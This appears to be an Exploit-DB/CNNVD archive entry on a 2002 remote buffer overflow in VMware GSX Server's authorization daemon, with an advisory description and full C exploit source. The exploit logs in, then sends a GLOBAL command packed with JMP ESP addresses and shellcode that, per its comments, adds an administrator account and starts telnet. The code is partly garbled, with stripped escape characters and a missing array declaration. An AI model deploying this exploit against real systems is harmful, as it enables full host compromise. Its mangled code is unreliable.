https://www.exploit-db.com/exploits/21639
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200208-066

VMwareGSXServer是一款非常流行的虚拟PC机软件，其中包含远程访问验证服务。VMwareGSXServer的验证服务在处理”Global”命令时对参数长度缺少正确检查，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。VMwareGSXServer在与VMwareRemoteConsole通信是通过VMwareAuthorizationService监听的902端口与VMwareRemoteConsole进行连接的，在数据通讯之前的需要提交如下操作:220VMwareAuthenticationDaemonVersion1.00USERanyuser331Passwordrequiredforuser.PASS******230Useruserloggedin.GLOBALserver200ConnectGlobalUSER、PASS、GLOBAL命令对其参数都已经进行了充分检查，当提交参数的字符串过长时，会被断开连接，并返回类似599vmware-authdPANIC:BufferoverflowinVMAuthdSocketRead()的消息:220VMwareAuthenticationDaemonVersion1.00USERAAAA….(Ax500)599vmware-authdPANIC:BufferoverflowinVMAuthdSocketRead()但是GLOBAL命令在使用一个未超过限定长度的字符串做参数时就已经发生了溢出，溢出会导致VMwareAuthorizationService异常结束，精心构建提交参数可能使攻击者以管理员权限在系统中执行任意指令。以上漏洞需要有一个合法的帐户进行利用。

source: http://www.securityfocus.com/bid/5294/info

VMWare GSX Server ships with an authentication server. The server is vulnerable to a buffer overflow related to handling of the argument to the "GLOBAL" command. While attackers must be authenticated before the command can be issued, default accounts may exist. This has not been confirmed by VMWare.

This condition may be exploited to execute arbitrary code on the GSX server host. The code likely executes on the underlying, native system and may compromise the host entirely (including all virtual systems).

////////////////////////////////////////////////////////////////////
//  VMwareOverflowTest v1.0
//  Written by Zag & Glcs
//  [email protected] [email protected]
//  http://www.Venustech.com
////////////////////////////////////////////////////////////////////

#include "stdio.h"
#include "winsock2.h"
#include "stdlib.h"
#pragma comment (lib, "Ws2_32")

to make sure that the shellcode length and GLOBAL command length not 
exceed the limit.

//add an administrator account: x_adrc password: x_adrc
//start the telnet service
"x68xC1x15x35x09x81x2Cx24"
"x80xD1xF0x08x68x63x20x20"
"x2Fx68x5Fx61x64x72x68x72"
"x73x20x78x68x72x61x74x6F"
"x68x6Ex69x73x74x68x61x64"
"x6Dx69x68x6Fx75x70x20x68"
"x61x6Cx67x72x68x20x6Cx6F"
"x63x68x26x6Ex65x74x68x74"
"x73x76x72x68x20x74x6Cx6E"
"x68x74x61x72x74x68x65x74"
"x20x73x68x44x44x26x6Ex68"
"x63x20x2Fx41x68x5Fx61x64"
"x72x68x72x63x20x78x68x78"
"x5Fx61x64x68x73x65x72x20"
"x68x65x74x20x75x68x2Fx63"
"x20x6Ex68x63x6Dx64x20x8B"
"xC4x6Ax01x50xB8xC6x84xE6"
"x77xFFxD0x90";

//the JMP ESP address of WindowsXP English Version, we can add the address 
of other systems, such as Windows 2000.
unsigned char Jmp_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77};//WinXP Eng
unsigned char Jmp_ESP[4];

void usage ()
{
	printf ("VMwareOverflowTest v1.0n Written by Zag & Glcsn 
Email:[email protected] [email protected] 
www.Venustech.comnnUsage:VMwareOverflowTest.exe <IP> <PORT> <username> 
<passwd> <os type>nt0.Windows XP Engn");
	return;
}

int main (int argc, char **argv)
{
	char str[4096];
	WSADATA wsa;
	SOCKET sock;
	struct sockaddr_in server;
	int ret;
	int i = 0;
	if (argc != 6)
	{
		usage ();
		return 0;
	}
	WSAStartup (MAKEWORD (2, 2), &wsa);
	sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
	server.sin_family = AF_INET;
	server.sin_port = htons (atoi (argv[2]));
	server.sin_addr.s_addr = inet_addr (argv[1]);

       //the base address of DLL files on each systems is not the same, so 
we need to modify the call address 
        //we can find that the system have loaded the DLL files we need by 
check VMware Authorization Service
       //then we only need modify the call address
	//(BASE_ADDRESS + FUNCTION_OFFSET)
	switch (atoi(argv[5]))
	{
	case 0:
		shellcode[133] = 0xc6;
		shellcode[134] = 0x84;
		shellcode[135] = 0xe6;
		shellcode[136] = 0x77;

		strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);

		break;
	default:
		shellcode[133] = 0xc6;
		shellcode[134] = 0x84;
		shellcode[135] = 0xe6;
		shellcode[136] = 0x77;

		strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);
		break;
	}
	ret = connect (sock, (struct sockaddr *)&server, sizeof (server));

	if (ret == SOCKET_ERROR)
	{
		printf ("connect errorn");
		return -1;
	}

	//receive welcome message
	memset (str, 0, sizeof (str));
	recv (sock, str, 100, 0);
	printf ("%s", str);

        //send username confirm message
	memset (str, 0, sizeof (str));
	strcpy (str,"USER ");
	strcat (str, argv[3]);
	strcat (str, "rn");
	ret = send (sock, str, strlen (str), 0);

        //receive confirm message
	memset (str, 0, sizeof (str));
	recv (sock, str, 100, 0);
	printf ("%s", str);

	//send password
	memset (str, 0, sizeof (str));
	strcpy (str,"PASS ");
	strcat (str, argv[4]);
	strcat (str, "rn");
	ret = send (sock, str, strlen (str), 0);

	//receive confirm message
	memset (str, 0, sizeof (str));
	ret = recv (sock, str, 100, 0);
	printf ("%s", str);

        make GLOBAL command
	memset (str, 0, sizeof (str));
	strcpy (str, "GLOBAL ");
	//to up the success probability, we use the half-continuous 
covering, so the exact overflow point is not need


	for(i = 7; i < 288; i += 8)
	{
		memcpy(str + i, "x90x90x58x68", 4);
		//write the JMP ESP command into the possible return 
address
		memcpy(str + i + 4, Jmp_ESP, 4);
	}

	//append the shellcode to the GLOBAL command string
	memcpy (str + i, shellcode, strlen (shellcode));
	strcat (str, "rn");
	ret = send (sock, str, strlen (str), 0);
	printf ("Done!n");
	closesocket (sock);
	WSACleanup ();
	return 1;
}

来源:BUGTRAQ
名称:20020726Re:VMwareGSXServerRemoteBufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=102765223418716&w;=2
来源:www.vmware.com
链接:http://www.vmware.com/download/gsx_security.html
来源:BUGTRAQ
名称:20020724VMwareGSXServerRemoteBufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=102752511030425&w;=2
来源:BID
名称:5294
链接:http://www.securityfocus.com/bid/5294
来源:XF
名称:vmware-gsx-auth-bo(9663)
链接:http://www.iss.net/security_center/static/9663.php
来源:NTBUGTRAQ
名称:20020805VMwareGSXServer2.0.1ReleaseandSecurityAlert
链接:http://archives.neohapsis.com/archives/ntbugtraq/2002-q3/0057.html